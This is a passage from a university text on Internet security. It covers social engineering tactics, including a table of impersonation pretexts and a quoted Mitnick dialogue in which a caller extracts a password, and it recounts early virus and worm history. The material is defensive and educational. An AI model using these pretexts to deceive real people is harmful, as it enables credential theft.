is difficult. Target organizations often do not want to admit that they have been victimized. After all, to admit a fundamental security breach is not only embarrassing, it may be damaging to the 94 Computer Incident Advisory Capability, U.S. Dept of Energy, CIAC Note 94-03a, July 6, 1994, http://www.ciac.org/ciac/notes/Notes03a.shtml#Engineering 95 Carnegie-Mellon Software Engineering Institute, CERT Coordination Center, "Social Engineering," CERT Advisory CA-90.04, revised Sept. 18, 1997, http://www.cert.org/advisories/CA-91.04.social.engineering.html 96 “Spam scam nets newbies” New Scientist, October 31, 1998, http://www.newscientist.com/ns/981031/nspam.html 97 Janet Kornblum, “Yahoo recovers from scam, hack” CNET News, Dec. 12, 1997, http://www.news.com/News/Item/Textonly/0,25,17318,00.html 98 http://www.defcon.org/ 99 S. Granger, “Social Engineering Fundamentals, Part I: Hacker Tactics”, can be seen at http://www.securityfocus.com/infocus/1527/ 100 Mitnick Kevin: “The Art of Deception”, page 4. Wiley Publishing Inc. 2002 - 54 - Internet Security // Kulikov Alexey @ University of Warwick organization’s reputation. It is common for such attacks to be badly documented, so that no one is really sure whether an attack has taken place or not. Classification of Various SE Methodologies Social Engineering existed since the beginning of time, primarily because most of us are helpful and trusting people. As an example we can site the “Love Bug” virus, since it poignantly illustrates how the psychological need and/or want of human beings to be loved could be exploited. Only after the person opened the e-mail did they discover that they were loved in a way they would hopefully never be loved again. Commonly Social Engineering methods will include using the telephone, talking people into giving away access data. A much less popular method is e-mail – eg. the “I Love You” virus, or in person – walking into a building and checking out all the post- it- notes with passwords on them that are stuck to monitors, and last but not least “snail mail” 101 – dropping a bogus survey in the mail offering a cash award for completion and asking some delicate questions, whereas answer forms are to be filled out online for convenience. In many cases a social engineer will use a combination of several attack methods (see table 1) in order to reach his objective. The most popular methodologies (Using the Phone and Using the Int ernet) are described in more detail below, this digest of methodologies is based on Sarah Granger’s “Hacker’s Tactics” lineout 102 . Using the Phone Classical Social Engineering (times before personal computers became available) emerged from the use of the phone as a medium of conning one’s way towards granted access to sensitive information. Inevitably it has evolved into a science of its own and is still remaining a prevailing type of SE today. Particularly vulnerable are large organizations, where employees rarely know everyone working for the company in person, thus voices are hard to correlate with real people while talking to someone on the phone – one simply takes for granted that the person on the other end of the line is who he or she is claiming to be. Impersonation becomes an easy job. Many people inside the organization are rarely aware of the value of information they may give up to someone over the phone, who, for example, may pretend to be a company computer systems security consultant, simply checking up on the state of thing at some specific location in the company. Particularly vulnerable are newly hired employees, as they will be especially motivated to correspond with internal company procedures (which may be misleading) in order to gain an overall positive image in the organization. Moreover, they may not yet be aware of company policies and thus will not be able to spot any anomalies, when requested to hand over sensitive data over the phone line. Most of the roles fall under the category of someone with authority, which leads us to ingratiation. Sensitive information may be revealed without hesitation. Thus a rather effective company security policy may be to instruct its employees to never reveal any kind of information over the phone, and instead only pass it over in person to someone, who can authenticate himself. The Internet With the emergence of the Internet as a primary medium for information sharing, so has emerged a new fertile ground for social engineers. It is known, that most people prefer to use the same password to access various Internet Services, such as e- mail, eBay account data or a corporate Intranet. Thus, in case someone manages to get hold of the user’s password once, he/she may very well use it to access user’s sensitive information everywhere. There are various prevailing 101 Usual paper mail. S. Granger, “Social Engineering Fundamentals, Part I: Hacker Tactics”, can be seen at http://www.securityfocus.com/infocus/1527/ 102 - 55 - Internet Security // Kulikov Alexey @ University of Warwick scenarios, all in need for impersonation. For example, one may set-up a web-site offering some sort of service that the person under attack may be interested in. In order to gain access to this service, the person will have to register, that is he/she will have to choose a user’s name and a password, the e- mail address will have to be indicated as well. The Social Engineer will immediately be notified of the user’s registration alongside with the provided data. In many cases the access password will match the one, from the corporate e- mail account or the organization’s intranet. Information will be lost. Another common attack is to impersonate some service, that the user is already registered at. An e- mail is sent to the user’s account from a fake e-mail address, corresponding to some address at the service in question. In that mail, the user will be asked to follow some link, which will lead to a site, that will be made to look just like the original site. There, the user will be asked to login – access data will be emailed to the social engineer immediately. Information will be lost. E- mail can be used for more direct means of gaining access to a system. For instance, mail attachments sent from someone who appears to be legitimate can carry viruses, worms and Trojan103 horses. A good example of this was a recent AOL hack, documented by VIGILANTe 104 : “In that case, the hacker called AOL’s tech support and spoke with the support person for an hour. During the conversation, the hacker mentioned that his car was for sale cheaply. The tech supporter was interested, so the hacker sent an e-mail attachment ‘with a picture of the car’. Instead of a car photo, the mail executed a backdoor exploit that opened a connection out from AOL through the firewall. Through this combination of social engineering and technical exploitation, the hacker gained access to the internal network.” Moreover, one can easily fake e- mail reply- to addresses, hence creating an impression of trust; it is then just a matter of knowing from whom the e- mail must originate in order to gain access to sensitive data. Common Social Engineering Methods Posing as a fellow employee Posing as an employee of a vendor, partner company, or law enforcement Posing as someone in authority Posing as a new employee requesting help Posing as a vendor or systems manufacturer calling to offer a system patch or update Offering help if a problem occurs, then making the problem occur, thereby manipulating the victim to call them for help Sending free software or patch for victim to install Sending a virus or Trojan Horse as an email attachment Using a false pop-up window asking user to log in again or sign with a password Capturing victim keystrokes with expendable computer system or program Using insider lingo and terminology to gain trust Offering a prize for registering a Web site with username and password Dropping a document or file at company mail room for interoffice delivery Modifying fax machine heading to appear to come from an internal location Asking receptionist to receive then forward a fax Asking for a file to be transferred to an apparently internal location Getting a voice mailbox setup so call-backs perceive attacker as internal Pretending to be from remote office and asking for email access locally Table 1. Common SE Methods. Attackers will typically use one or more methods from this table in order to gain access to locked systems. 103 A destructive program that masquerades as a benign application. Unlike viruses, Trojan horses do not replicate themselves but they can be just as destructive. One of the most insidious types of Trojan horse is a program that claims to rid your computer of viruses but instead introduces viruses onto your computer. 104 Independent Documentation: http://www.vigilante.com/inetsecurity/socialengineering.htm; News.com review: http://news.com.com/2100-1023-242092.html?legacy=cnet&tag=st.ne.1002.thed.ni - 56 - Internet Security // Kulikov Alexey @ University of Warwick Example of System Penetration The following example of multiple-point attacks on the same firm is described in Kevin Mitnik’s “The Art of Deception” on pages 92-94. New employees are a ripe target for attackers. They don’t know many people yet, they don’t know the procedures or the dos and don’ts of the company. And, in the name of making good first impression, they’re eager to show how cooperative and quick to respond they can be. Helpful Andrea “Human Resources, Andrea Canhoun” “Andrea, hi, this is Alex, with Corporate Security” “Yes?” “How’re you doing today?” “Okay. What can I help you with?” “Listen, we’re developing a security seminar for new employees and we need to round up some people to try it out on. I want to get the name and phone number of all the new hires in the past month. Can you help me with that?” “I won’t be able to get to it ‘til this afternoon. Is that okay? What’s your extension?” “Sure, okay, it’s 52… oh, uh, but I’ll be in meeting most of today. I’ll call you when I’m back in my office, probably after hour.” When Alex called about 4:30, Andrea had the list ready, and read him the names and extensions. A Message for Rosemary Rosemary Morgan was delighted with her new job. She had never worked for a magazine before and was finding the people much friendlier that she expected, a surprise because of the neverending pressure most of the staff was always under to get yet another issue finished by the monthly deadline. The call she received one Thursday morning reconfirmed that impressions of friendliness. “Is that Rosemary Morgan?” “Yes.” “Hi, Rosemary. This is Bill Jorday, with the Information Security group.” “Yes?” “Has anyone from our department discussed best security practices with you?” “I don’t think so.” “Well, let’s see. For starters, we don’t allow anybody to install software brought in from outside the company. That’s because we don’t want any liability for unlicensed use of software. And to avoid any problems with software that might have a worm or a virus” “Okay.” “Are you aware of our e-mail policies?” “No.” “What’s your current e-mail address?” “Rosemary@ttrzine.net” “Do you sign in under the name Rosemary?” “No, it’s R-underscore-Morgan” “Right. We like to make all our new employees ware that it can be dangerous to open any email attachment you aren’t expecting. Lots of viruses and worms get sent around and they come in e-mails that seem to be from people you know. So of you get and e-mail with an attachment you weren’t expecting you should always check to be sure the person listed as sender really did send you the message. You understand? “Yes, I’ve heard about that.” - 57 - Internet Security // Kulikov Alexey @ University of Warwick “Good. And out policy is that you change your password every ninety days. When did you last change your password?” “I’ve only been here three weeks; I’m still using the one I first set.” “Okay, that’s fine. You can wait the rest of the ninety days. But we need to be sure people are using passwords that aren’t too easy to guess. Are you using a password that consists of both letters and numbers?” “No.” “We need to fix that. What password are you using now?” “It’s my daughter’s name – Annette.” [SE logs in] “That’s really not a secure password. You should never choose a password that’s based on family information. Well, let’s see… you could do the same thing as I do. It’s okay to use what you’re using now as the first part of the password, but then each time you change it, add a number for the current month.” “So of I did that now, for March, would I use three, or oh-three?” “That’s up to you. Which would you be more comfortable with?” “I guess Annette-three” “Fine. Do you want me to walk you through how to make the change?” “No, I know how” “Good. And one more thing we need to talk about. You have antivirus software on your computer and it’s important to keep it up to date. You should never disable the automatic update even if your computer slows down every once in a while. Okay?” “Sure” “Very good. And do you have our phone number over here, so you can call us of you have any computer problems?” She didn’t. He gave her the number, she wrote it down carefully, and went back to work, once again, pleased at how well taken care of she felt. - 58 - Internet Security // Kulikov Alexey @ University of Warwick Evolution of SE in relation to Internet Security Social Engineering is far from a novel concept. It has probably existed for centuries. In the book of Genesis we find the story of Jacob, who tried to gain patrimony from his father at the expense of his older brother. Jacob used an early form of Social Engineering to disguise himself as his brother, and fool his father. This example could be used to name Jacob an early hacker. Without complicating his conquest by technology, which would be available to modern-day hackers, he employed an effective tool: SE. More recently, the first telegraph interceptors also conned their way through using social engineering. This ‘science’ has gained significantly more attention with the emergence of the Internet, despite the fact, that little information connected to real life cases is available. One of the first documented SE attacks on network security took place in 1978, when Stanley Mark Rifkin talked an employee of the Security Pacific National Bank into transferring 10 200 000$ to an offshore account. Unfortunately accounts of this “attack” vary, since Rifkin has never told the story in full. From some accounts, he was working for a company under a contract to develop a backup system for the wire room’s data in case the bank’s main computer ever went down. This gave Rifkin a unique opportunity to learn how the bank handled its financial operations. He had learned that bank employees were given a special security code every day to order wire transfers over the phone. In the wire room, the clerks saved themselves the trouble of memorizing a new code everyday by simply writing the code on a slip of paper and posting it somewhere where they could see it easily. Once Stanley arrived in the transfer room in order to check the wiring from the main computer, he has memorized the current code. The very same day, Rifkin placed a phone call to the transfer room in the name of another branch of the bank and instructed the clerk to wire “Ten Million, two hundred thousand dollars exactly” to the Irving Trust Company in New York, for credit of the Wozchod Handels Bank of Zurich, Switzerland, where he had already established an account. The next day, Rifkin left the country. He robbed a bank without guns and almost no technical knowledge, using solely information manipulation. The IT world became much more aware of Social Engineering as Kevin Mitnick started hacking US corporate networks in the early 80s, most of the time simply to satisfy his own curiosities. Short Story of Kevin Mitnick “You could spend a fortune purchasing technology and services from every exhibitor, speaker and sponsor at the RSA Conference and your network infrastructure could still remain vulnerable to old- fashioned manipulation.”105 Kevin David Mitnick, born August 6th , 1963, was once labeled “the most wanted computer criminal in U.S. history” and is, in fact, one of the most famous criminal hackers to be jailed and convicted. Mitnick’s last arrest was by the FBI on February 15th , 1995, when he was charged with breaking into some of the United States’ most “secure” computer systems. He was released from prison in January 2002, but banned from using the Internet until the midnight of January 21st 2003. On the live television show The Screen Savers on TechTV, Kevin Mitnick visited the first website since his release, Labmistress.com, the weblog of his girlfriend, TechTV producer Darci Wood. Mitnick is now working in consulting and is CEO of the security company Mitnick Security Consulting, LLC (formerly known as Defensive Thinking). His arrest is detailed in the book Takedown: The Pursuit and Capture of Kevin Mitnick, America's Most Wanted Computer Outlaw-By the Man Who Did It 106 . Other media inspired by 105 Mitnick, Kevin: “My first RSA Conference” Security Focus, April 30, 2001 - 59 - Internet Security // Kulikov Alexey @ University of Warwick Mitnick's story include the movie, also with the name Takedown, released in the U.S. as Track Down, sometimes mistitled as Hackers 2: Takedown. A counterpoint view to the events surrounding Mitnick was written by journalist Jonathan Littman, in The Fugitive Game: Online with Kevin Mitnick 107 . Below is a short chronology of Mitnick’s “evolution”: Late seventies: As personal computers have not yet emerged, a prevailing form of “hacking” was phone phreaking, which is closely related to hacking, yet the target is a phone system. Typically phone phreaking was used to make free calls or to make calls charged to a different account. While trying to trick phone systems, Mitnick first encountered what he would eventually call Social Engineering. He realized, that tricking (deceiving) a company employee into manipulating the phone system or revealing some sensitive information was easier, than trying to exploit the system on the technical front. 1980s: Mitnick successfully breached into the central database of the school he was studying at. Although he has had full access to the system, he left the data unchanged, as his main goal was to gain access to the system. However, the school’s computer manager realized that the system has been compromised by Mitnick, yet he was not expelled, but instead offered to do a project to enhance the school’s computer security system. Later, in 1982 Mitnick got caught while stealing for stealing phone system manuals from the Pacific Bell company. Three month in jail. A couple of days after his release, he was arrested again for unauthorized access into the ARPANET. The next five years, it seemed to be that Mitnick did not have any disputes with the law. Yet in 1988 Kevin is sentenced to one year in jail for stealing the source codes to the then proprietary VMS Operating System. 1990s: After his release in 1990, he seemed to be attempting to reform. He had trouble finding a computer related job, due to his past reputation, but he finally found work with a private investigation firm called Tel Tec Investigations, where he inevitably mastered and sharpened his Social Engineering skills 108 . Rumours said, that Mitnick stopped using computers to hack into corporate networks and fully switched to Social Engineering, as he thought that lying to people on the phone could not be considered as anti- lawful behaviour. It is known, that Mitnick is held responsible for breakins into the FBI network in the late 1992, however, this has never been proved, yet a warrant for Mitnick’s arrest is issued (see fig. 1 on next page). 106 Shimomura T., Markoff J., Takedown: The Pursuit and Capture of Kevin Mitnick, America's Most Wanted Computer Outlaw-By the Man Who Did It, Warner Books Inc, 1998 107 Littman J., The Fugitive Game: Online with Kevin Mitnick , Little Brown; 1st Pbk edition, 1997 108 Hafner K., “Kevin Mitnick, Unplugged”, Esquire, 1995, August, p.81-88 - 60 - Internet Security // Kulikov Alexey @ University of Warwick Fig 5. Warrant on Mitnick From that time onward, Mitnick was on the run from the FBI. Some of the computer systems that he is suspected of invading include: California Dept. of Motor Vehicles, an Army computer system, Motororla's Cellular Division, Nokia, SUN Microsystems, the Pentagon and “The Well”109 . Then on December 25, 1994, Mitnick hacked into the home computer of Tsutomu Shimomura, a well known security expert. Shimomura became affected with Mitnick’s capture, and created trap, which Mitnick inevitably fell into. On February the 15th , 1995, Mitnick was arrested by caught, while navigating through Tsutomu’s computer. As a cracker, Mitnick is best known for his use of social engineering. He wrote a book on this subject after leaving prison but before returning to the Internet: The Art of Deception: Controlling the Human Element of Security. It was published in October 2002. The first chapter of the book was omitted by the publisher. It gives some details of his own “career” and his grievances against journalist John Markoff (a co-author of the book Takedown: The Pursuit and Capture of Kevin Mitnick, America's Most Wanted Computer Outlaw-By the Man Who Did It). The chapter has since been made available elsewhere. Its sequel, The Art Of Intrusion: The Real Stories Behind The Exploits Of Hackers, Intruders, And Deceivers 110 was published on February 11, 2005. 109 Sussman V., “Gotcha! A Hard-Core Hacker Is Nabbed”, U.S. News & World Report, 1995, February, p.66. Mitnick K., The Art Of Intrusion: The Real Stories Behind The Exploits Of Hackers, Intruders, And Deceivers, John Wiley & Sons, 2005 110 - 61 - Internet Security // Kulikov Alexey @ University of Warwick Social Engineering in the recent past No matter how effective Social Engineering is, it is paid little attention by IT managers and system administrators. People tend to ignore the fact, that a security system is only as strong as its weakest link, this being the employees operating this system. For example, there were over 15 000 registered attendees at the annual RSA conference 2003 (the world’s leading information security conference and expo 111 ), yet not a single exhibitor concerned themselves with Social Engineering, neither were any presentations made in this field. It has not been made clear that in cases when the goal of the company is to protect its network, it cannot rely on computer technology alone. The reason SE was so unpopular amongst IT professionals is because this particular “science” is perceived as a soft-skill, studied by psychiatrists. The technique was studied by Dr. Robert B. Cialdini (Regent's Professor of Psychology at Arizona State University referenced many times by Mitnick) described in his book “Influence (rev): The Psychology of Persuasion”, where he emphasized the “six tendencies of human nature” (see table 2) that can be exploited in order to obtain compliance to a request. These six tendencies are those, that social engineers will mainly rely on, when trying to misdirect another person. However the author has not though of manipulative skills being of any danger to IT systems. SE must be given as much attention as installation of network firewalls and usage of hard-to-guess passwords. Human Tendency Authority Explanation Usually people will comply to requests stemming from someone in authority without further questioning. Liking People have a tendency to comply when the person making the request was able to establish some sort of sympathy or liking towards him/her. Reciprocation It is common amongst humans that we feel like owing someone a favor, once he/she has helped us out or solved one of our problems. Consistency Once we have promised something, we do not want to appear untrustworthy, hence we usually will stick to our promises, even if they were made to complete strangers. Social Validation Group think may be misleading, as we tend to take decisions more easily when it appears that everyone else has taken the very same decision. Scarcity How many times have you fallen for a “bargain”? People have a tendency to take unthought-of decisions when the object sought is in short supply and others are competing for it. Table 2: Six tendencies of human nature. Hackers will mainly rely on these tendencies when trying to misdirect another person into disclosing sensitive information. Combat strategies against SE Ensuring corporate security is a question of obtaining the right balance. Having too little security puts the company’s main asset – information at great risk, whereas too much security makes it difficult for the business to function. Company managers must aim to achieve the optimal 111 http://www.rsaconference.com - 62 - Internet Security // Kulikov Alexey @ University of Warwick security balance, by establishing a smart security policy, which will do no harm to the business, at the same time keeping off attacks. Combat strategies require both action and resources, stressing employee training. The mistake many corporations make is only planning for attacks on the physical side. That leaves them wide open for the social-psychological attack. To begin, management must understand the importance of developing and implementing security policies and procedures. Management must understand that all of the money they spend on software patches, security hardware and audits will be a waste of resources without adequate prevention of social engineering attacks 112 . One of the main advantages of such policies is that the y remove the responsibility of employees to make judgement calls regarding a hacker's requests. If the requested action is prohibited by policy, the employee has no choice but to deny the hacker's request. Strong policies can be general or specific, but again a balanced approach is to be recommended. This gives the policy enforcers some flexibility in how procedures will develop in the future, but limits staff from becoming too relaxed in their daily practices. The security policy should address issues suc h as information access controls, the setting up of accounts, access approval, and password changes. Modems should, where possible, be avoided in a company intranet. Locks, IDs, and shredding should be required. Violations should be posted and enforced. As mentioned at the start of this chapter, the Help Desk is a major target for social engineering attacks, primarily because their job is to disclose information that will be helpful to users. The best way to protect the Help Desk against social engineering attacks is through training. The employees should absolutely refuse to give out passwords without authorization. (In fact, it should be organizational policy that passwords should never be disclosed over the phone or by e-mail; rather, they should only be disclosed in person to trusted, authorized personnel.) Callbacks, PINs, and passwords are a few recommended ways to increase security. The importance of training employees extends beyond the Help Desk across the entire organization. According to Naomi Fine, expert in corporate confidentiality and President and CEO of Pro-Tec Data113 , employees must be trained on “how to identify information which should be considered confidential, and have a clear understanding of their responsibilities to protect it”. In order to be successful, organizations must make computer security an integral part of every job, regardless of whether the employees engages with computers 114 . Everyone in the organization needs to understand exactly why it is so crucial for the confidential information to be designated as such, which is why it benefits organizations to give each employee a sense of responsibility for the security of the entire network. In general, Kevin Mitnick provides a set of strategies and policies a company may want to implement against Social Engineering attacks in his book – “The Art of Deception”. 112 Nelson, Rick: “Methods of Hacking: Social Engineering,” the Institute for Systems Research, University of Maryland 113 http://www.protecdata.com/ 114 Harl: “People Hacking: The Psychology of Social Engineering” Text of Harl’s Talk at Access All Areas III, March 7, 1997. - 63 - Internet Security // Kulikov Alexey @ University of Warwick Conclusion A widespread thought is that hackers of the past got all their information by hacking corporate network servers and accessing their databases. The belief is usually that they use superb hacking skills to get into locked out networks, however this common stereotype is misleading. Indeed, one needs to have a set of technical skills to navigate through foreign systems, nevertheless the story of Kevin Mitnick clearly illustrates that one also needs to possess a set of soft skills to break the human firewall. Although technology has evolved dramatically since Troy, the underlying principles in obtaining access to locked out systems have remained the same. However, there is still no clear solution on how to protect oneself from old- fashioned manipulation. Most IT managers are not fully aware of the potential danger stemming from the people, who operate the security of the network. Making intense use of the technology alone will not solve the problem. Protection against SE is actually more about psychological solutions paired with electronic possibilities and new technologies, simply because it deals with people. As long as employees are not aware that they are committing to the overall security of the company’s network, it will remain open to the outside world. Once SE concepts are no more obscure to an average system administrator, the overall level of awareness will be raised and less systems will be compromised. A good start may be to run SE sessions during the annual RSA conference, however, it may be a rough start, as many IT professionals will fail to see a connection between psychology and technology. Nonetheless, it is not the technology that guarantees security, it is the people, who operate that technology. Chapter Summary • • • • • • • • • • • IT specialists have developed information-security solutions to minimize the risks connected with the use of computers, yet left unaddressed was the most significant vulnerability, the human factor. Humans remain the most serious threat to each other’s security. No security system can stop an intruder if he/she can deceive someone, who is in charge of operating the system, into letting him into the system. Most Social Engineering attacks are conducted over the phone, where the attacker pretends to be someone inside the company and collects small pieces of information to gain access to the system. Other well known methodologies include fake web-pages that are used to collect passwords and e- mail, where users are tricked into revealing personal information. First documented SE attack was conducted in 1978 by Stanley Rifkin. He talked a bank manager into transferring 10 million dollars into Stanley’s account. Most popular SE, however, is Kevin Mitnick, who managed to break into virtually every corporate network in the USA using SE techniques. Kevin Mitnick, was once labelled “the most wanted computer criminal in U.S. history”. Mitnick began his “career” as social engineer in the late seventies, however he was caught in 1989 and convicted to one and a half years imprisonment. Mitnick did not quit his “job” after release, he was hunted down by FBI in 1995. Today he runs a successful US company “Defensive Thinking Inc.” Social Engineering was studied by psychologists in the late nineties, and six tendencies of human nature were discovered that make SE possible: Authority, Liking, Reciprocation, Consistency, Social Validation and Scarcity. SE is extremely hard to combat; however, well-designed policies can prevent most of SE attacks. Yet human nature cannot be changed. In general, Kevin Mitnick provides a set of strategies and policies a company may want to implement against Social Engineering attacks in his book – “The Art of Deception”. - 64 - Internet Security // Kulikov Alexey @ University of Warwick Chapter 5 - 65 - Internet Security // Kulikov Alexey @ University of Warwick Chapter 5 — Attacking the Client As already outlined in chapter one, there are five main parts to Internet Security, which can be attacked. These are: the Web Server, the server operating system, the transport channel, the client machine and the people operating all the parts of this system. A company may install the latest Unix patches on its servers and force employees to use cryptography, when passing sensitive data over the net. A company may have excellent security policies, preventing 99% of all possible security breaches. However, the clients 115 , which are exchanging information with servers, have a high potential of being misused by attackers, as they are usually used by nontechnical users. Typically an attacker will trick the user into installing a malicious application such as a trojan (explained later), that will aid the attacker in misusing the system, or even breaking into the corporate network. Computer Security experts have long been aware of the threat from malicious code, or malware, the term itself goes back many years 116 . Before touching on evolution of common client side attacks, there is a need for some basic definitions to be made. There is much confusion about what a virus is versus what a worm or a trojan is. I hope the definitions below will shed some light on common misinterpretations; Denning117 provides a general discussion of these terms. A virus is a program, which a lot like biological viruses, hides itself in files of other programs. When the host program is run, the virus is also executed, it then looks for other files that are not infected on the system and copies itself into them. Therefore, if any of the infected files are moved to another computer the virus will spread itself in the new environment. Computer viruses are not inhe rently malicious, but they can be programmed to wake up at a certain time and cause damage to the infected machine, that is they can contain a logic bomb or a time bomb 118 . A trojan is a program that appears to be doing something interesting or useful. However, while the innocent looking program is running, it is actually doing something malicious in the background. The name itself comes from the well known trojan horse the Greeks left as a present for the Trojans, which hid soldiers, who opened the gates to Troy for the Greek army. Typically trojans are spread over e-mail in form of simple applications such as screensavers. Unaware users install them, and while the screensaver shows pretty pictures, the program may be scanning or erasing files in the background. A common feature amongst trojans is the introduction of a backdoor, which allows someone to control the infected computer from a remote location. A worm is a program that copies itself over networks without explicit interaction of the user. Usually the growth rate of infection is exponential, as the number of infected hosts doubles with every infection cycle. Worms can spread over e-mail in form of macro-commands (discussed 115 The client part of a client-server architecture. Typically, a client is an application that runs on a personal computer or workstation and relies on a server to perform some operations. For example, an e-mail client is an application that enables you to send and receive e-mail. Client-Server Architecture is a network architecture in which each computer or process on the network is either a client or a server. Servers are powerful computers or processes dedicated to managing disk drives (file servers), printers (print servers), or network traffic (network servers). Clients are PCs or workstations on which users run applications. Clients rely on servers for resources, such as files, devices, and even processing power. Another type of network architecture is known as a peer-to-peer architecture because each node has equivalent responsibilities. Both client/server and peer-to-peer architectures are widely used, and each has unique advantages and disadvantages. Client-server architectures are sometimes called two-tier architectures 116 See the discussion in: Carl E. Landwehr, Alan R. Bull, John P. McDermott, William S. Choi, “A taxonomy of Computer Program Security Flaws, with Examples”, US Navy Report NRL/FR/5542-93-9591, (Nov 19, 1993). p 7. http://www.cs.mdx.ac.uk/research/sfc/Papers/1994landwehr-acmcs.pdf 117 P. J. Denning. “Computer Viruses”, American Scientist, Issue 76 (May-June) 1988, pp 236-238. 118 A time bomb or a logic bomb is a piece of code that remains dormant in the host system until a certain “detonation” time or event occurs. - 66 - Internet Security // Kulikov Alexey @ University of Warwick later) or propagate over networks on their own using common weaknesses of attacked systems such as weak access passwords or bugs in access protocols. Modern malware, however, may be a composite of any of the above methodologies, for example a trojan horse may replicate itself by copying its code into other files, hence it can then be also referred to as a virus. In fact, in case it replicates itself over networks creating new processes or files to contain its code it can then be generally referred to as a worm. Viruses and Worms Early viral programming was used for beneficial purposes. One of the very earliest examples of a computer network was implemented by Xerox PARC (Palo Alto Research Center). As well as being useful for common functions we use LANs for today, it was a testbed for the development of those functions and experiments with others. John Shoch and Jon Hupp, two researchers there at the time, were interested in the concept of distributed processing119 . Interested parties can read their publication120 in the Communication of the ACM in March 1982, which looks in detail upon their research. In short, the specific experimental program they were testing was one that would examine other computers on the local area network to look for activity. If a computer was idle after normal working hours, the program would submit a copy of itself to the idle machine. In this way the original program would spawn multiple copies of itself to idle machines in order to make use of the CPU time which would otherwise be wasted. The primary intention was to write programs that would be aimed at solving problems normally submitted to a supercomputer. By breaking the problem up into small chunks and submitting each chuck to a separate machine on the network, one would, in effect, have a large program consisting of smaller program segments working on individual machines. Since biological worms are defined by the fact that they have segmented bodies, they have called this new type of program a “worm”. However, their research was not a success, since one night a programming error caused the computers to which it was submitted to hang. Given that the program was submitted to a great number of machines over the course of the night, the institution was found to be full of dead computers in the morning. The program became known as the “Xerox worm”. However, the use of selfreplicating programs for parallel processing was not an entirely new concept at that time. In fact, John von Neumann, one of the pioneers of the computer age, described 121 reliable selfreplicating programs in the 1940s. One may be surprised, but a lot of techniques used by viruses and worms nowadays already existed in the beginning of the eighties and were even published in computer security literature. The first officially presented computer virus was created by Len Adleman (more famous for being one of the initial developers of the RSA algorithm and accounting for the “A” in RSA) on November 3rd, 1983 as an experiment to be presented at a weekly computer security seminar122 . Adleman is responsible for introducing the term “computer virus”. During the seminar he substituted the Unix “vd” command with an infected one on a VAX 11/750. This command is used to display Unix file structures graphically on-screen. Several controls were put in place to make sure that the virus was kept under control. Dur ing the five tests that were performed at the seminar, the virus managed to gain full system access in less than an hour. Len was ready to test 119 Refers to any of a variety of computer systems that use more than one computer, or processor, to run an application. This includes parallel processing, in which a single computer uses more than one CPU to execute programs. More often, however, distributed processing refers to local-area networks (LANs) des igned so that a single program can run simultaneously at various sites. Most distributed processing systems contain sophisticated software that detects idle CPUs on the network and parcels out programs to utilize them. 120 J. Shoch, J. Hupp, “The ‘Worm’ Programs – Early Experience with a Distributed Computation”, Communication of the ACM, March 1982, pp 172-180. http://portal.acm.org/citation.cfm?id=358455 121 F. Cohen. Trends in Computer Virus Research. 1991, Page 10. http://all.net/books/integ/japan.html 122 F. Cohen. “Computer Viruses: Theory and Experiments.” Computers and Security, Vol. 6, pp 22-35, Elsevier Advanced Technology Publications, 1987. - 67 - Internet Security // Kulikov Alexey @ University of Warwick his programs on other types of machines such as the VMS system and computer networks. Unfortunately he was refused permission by the systems administrators, as the term “computer virus” was little known at that time and no one wanted to risk their system for the unknown. The following quote 123 by Fred Cohen124 , a pioneer in malicious code research, describes the climate after the Adleman experiment: Once the result of the experiments were announced, administrators decided that no further computer security experiments would be permitted on their systems. The ban included the planned addition of traces which could track potential viruses and password augmentation experiments which could potentially have improved security to a great extent. This apparent fear reaction is typical: rather that try to solve technical problems technically, inappropriate and inadequate policy solutions are often chosen. Later, Cohen complained about the denial of further experimentation by the administrators and the security officer at the facility where the experiments were conducted 125 . After several months of negotiation and administrative changes, it was decided that the experiments would not be permitted. The security officer at the facility was in constant opposition to security experiments, and would not even read any proposals. This is particularly interesting in light of the fact that it was offered to allow systems programmers and security officers to observe and oversee all aspects of all experiments. In addition, systems administrators were unwilling to allow sanitized versions of log tapes to be used to perform offline analysis of the potential threat of viruses, and were unwilling to have additional traces added to their systems by their programmers to help detect viral attacks. Although there is no apparent threat posed by these activities, and they require little time, money, and effort, administrators were unwilling to allow investigations. Cohen, however, was able to conduct experiments with viruses. He also developed a theory for studying viruses and their effects on computer systems. While mostly investigating viruses in the early eighties, Cohen also researched various protection mechanisms, most of which are described in detail in one of his later publications 126 in 1991. It is interesting to note the negative conclusion in his article 127 : “prevention of viruses is not possible without restricting legitimate user activities in a drastic way”. Cohen’s conclusion was then further supported by Douglas McIlroy in his almost classic paper, where he explained how to create a simple, yet devastating Unix shell virus. After a short programming tutorial McIlroy is leading up to the fact that: “If you have a programmable computer with a file system inhabited by both programs and data, you can make viruses. It doesn’t matter what hardware or operating system you are using. Nobody can stop you.”128 In fact, this statement has been further supported by Ken Thompson’s ACM Turing Award lecture 129 , where he describes a procedure that uses a virus to install a trapdoor in the Unix login program. The virus is placed in the C complier and performs two tasks. If it detects that it is compiling a new version of the C compiler, the virus incorporates itself into the object version of the new C compiler. If the virus determines it is compiling the login program, it adds a trapdoor to the object version of the login program. The object version of the login 123 F. Cohen. “Computer Viruses: Theory and Experiments.” Page 31. Dr. Fred Cohen did extensive theoretical research, as well as setting up and performing numerous practical experiments regarding viral-type program in the early 80s. Visit his site http://all.net/ for more information. 125 F. Cohen. “Computer Viruses: Theory and Experiments.” Page 32. 126 F. Cohen. Trends in Computer Virus Research. 1991, http://all.net/books/integ/japan.html 127 F. Cohen. “Computer Viruses: Theory and Experiments.” Page 35. 128 M. D. McIlroy. “Virology 101”, Computing Systems, University of California Press: Berkeley, CA, 1989, page 4. 129 K. Thompson. “Reflections of Trusting Trust”, Communication of the ACM, Vol. 27, No. 8, Aug 1984, pp. 761763. http://www.acm.org/classics/sep95/ 124 - 68 - Internet Security // Kulikov Alexey @ University of Warwick program that contains a trapdoor that allows a specified password to work for a specific account. Whether this virus was ever actually installed as described has not been revealed. However, the moral is obvious, as Ken Thompson puts it in the conclusion to his paper 130 : You can’t trust code that you did not totally create yourself. (Especially code from companies that employ people like me). No amount of source-level verification or scrutiny will protect you from using untrusted code. In demonstrating the possibility of this kind of attack, I picked on the C compiler. I could have picked on any programhandling program such as an assembler, a loader, or even hardware microcode. As the level of program gets lower, these bugs will be harder and harder to detect. A well installed microcode bug will be almost impossible to detect. How do viruses and worms work? This section describes how viruses infect files and what its main components are. In order to replicate itself, a virus must be permitted to execute code and write to memory. For this reason, many viruses attach themselves to executable files that may be part of legitimate programs. If a user tries to start an infected program, the virus’ code may be executed first. However, a new breed of viruses has appeared recently – called “Macro Viruses” which attach themselves to documents and are run whenever a document is opened. Macro viruses 